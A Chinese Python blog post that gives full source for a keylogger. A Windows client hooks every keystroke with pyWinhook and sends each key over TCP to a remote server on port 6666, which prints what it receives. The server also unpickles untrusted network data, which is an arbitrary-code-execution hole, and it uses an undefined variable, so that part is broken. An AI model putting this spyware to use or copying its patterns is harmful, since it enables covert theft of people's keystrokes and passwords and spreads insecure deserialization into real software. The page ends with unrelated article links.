python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
打印出python 当前全局变量和入口参数的所有属性
Jul 01 Python
详解Python的Django框架中的模版继承
Jul 16 Python
Python 结巴分词实现关键词抽取分析
Oct 21 Python
python实现微信跳一跳辅助工具步骤详解
Jan 04 Python
一条命令解决mac版本python IDLE不能输入中文问题
May 15 Python
python实现连续图文识别
Dec 18 Python
Python3实现的判断环形链表算法示例
Mar 07 Python
Python模块_PyLibTiff读取tif文件的实例
Jan 13 Python
使用 Python 在京东上抢口罩的思路详解
Feb 27 Python
python使用yaml 管理selenium元素的示例
Dec 01 Python
python 利用 PIL 将数组值转成图片的实现
Apr 12 Python
Github 使用python对copilot做些简单使用测试
Apr 14 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
openflashchart 2.0 简单案例php版
2012/05/21 PHP
php删除数组元素示例分享
2014/02/17 PHP
使用PHP实现生成HTML静态页面
2015/11/18 PHP
php实现的网页版剪刀石头布游戏示例
2016/11/25 PHP
php+ajax实现异步上传文件或图片功能
2017/07/18 PHP
php使用QueryList轻松采集js动态渲染页面方法
2018/09/11 PHP
PhpStorm的使用教程(本地运行PHP+远程开发+快捷键)
2020/03/26 PHP
ThinkPHP5.1的权限控制怎么写?分享一个AUTH权限控制
2021/03/09 PHP
jQuery html()等方法介绍
2009/11/18 Javascript
基于jquery的lazy loader插件实现图片的延迟加载[简单使用]
2011/05/07 Javascript
js中实现多态采用和继承类似的方法
2014/08/22 Javascript
解决angular的post请求后SpringMVC后台接收不到参数值问题的方法
2015/12/10 Javascript
自己动手制作基于jQuery的Web页面加载进度条插件
2016/06/03 Javascript
js判断输入字符串是否为空、空格、null的方法总结
2016/06/14 Javascript
AngularJS 工作原理详解
2016/08/18 Javascript
炫酷的js手风琴效果
2016/10/13 Javascript
js实现一个可以兼容PC端和移动端的div拖动效果实例
2016/12/09 Javascript
Ionic+AngularJS实现登录和注册带验证功能
2017/02/09 Javascript
js实现抽奖效果
2017/03/27 Javascript
vuejs+element-ui+laravel5.4上传文件的示例代码
2017/08/12 Javascript
zTree树形菜单交互选项卡效果的实现方法
2017/12/25 Javascript
微信小程序 拍照或从相册选取图片上传代码实例
2019/08/28 Javascript
基于layui内置模块(element常用元素的操作)
2019/09/20 Javascript
在Vue中使用mockjs代码实例
2020/11/25 Vue.js
分享Python开发中要注意的十个小贴士
2016/08/30 Python
Python同步遍历多个列表的示例
2019/02/19 Python
scrapy-redis源码分析之发送POST请求详解
2019/05/15 Python
opencv 获取rtsp流媒体视频的实现方法
2019/08/23 Python
Python tkinter实现简单加法计算器代码实例
2020/05/13 Python
浅谈Python中的模块
2020/06/10 Python
获取python运行输出的数据并解析存为dataFrame实例
2020/07/07 Python
编写函数,将一个3*3矩阵转置
2013/10/09 面试题
学术会议邀请函范文
2014/01/22 职场文书
2014大学辅导员工作总结
2014/12/02 职场文书
导游词之新疆尼雅遗址
2019/10/16 职场文书
SSM VUE Axios详解
2021/10/05 Vue.js